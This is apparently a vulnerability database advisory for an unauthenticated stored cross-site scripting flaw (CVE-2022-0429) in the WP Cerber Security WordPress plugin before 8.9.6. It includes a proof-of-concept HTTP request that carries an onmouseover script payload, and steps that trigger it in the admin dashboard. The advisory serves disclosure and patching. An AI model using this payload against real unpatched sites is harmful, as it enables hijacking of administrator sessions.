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WP Cerber Security, Anti-spam & Malware Scan < 8.9.6 - Unauthenticated Stored Cross-Site Scripting

Description

The plugin does not sanitise the $url variable before using it in an attribute in the Activity tab in the plugins dashboard, leading to an unauthenticated stored Cross-Site Scripting vulnerability.

Proof of Concept

POST /"/onmouseover=alert(1);// HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

a[b][c][d][e][f][g][h][i][j][k][l][m][n][o][p][q][r][s][t][u][v][w][x][y][z][1][2][3][4][5][6]=12345

Then the admin needs to browse to http://127.0.0.1:8001/wp-admin/admin.php?page=cerber-security&tab=activity and move mouse over the link. 

Affects Plugins

wp-cerber
Fixed in version 8.9.6

References

CVE
CVE-2022-0429

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
d1b6f438-f737-4b18-89cf-161238a7421b

Timeline

Publicly Published

2022-02-14 (about 11 months ago)

Added

2022-02-14 (about 11 months ago)

Last Updated

2022-04-08 (about 10 months ago)

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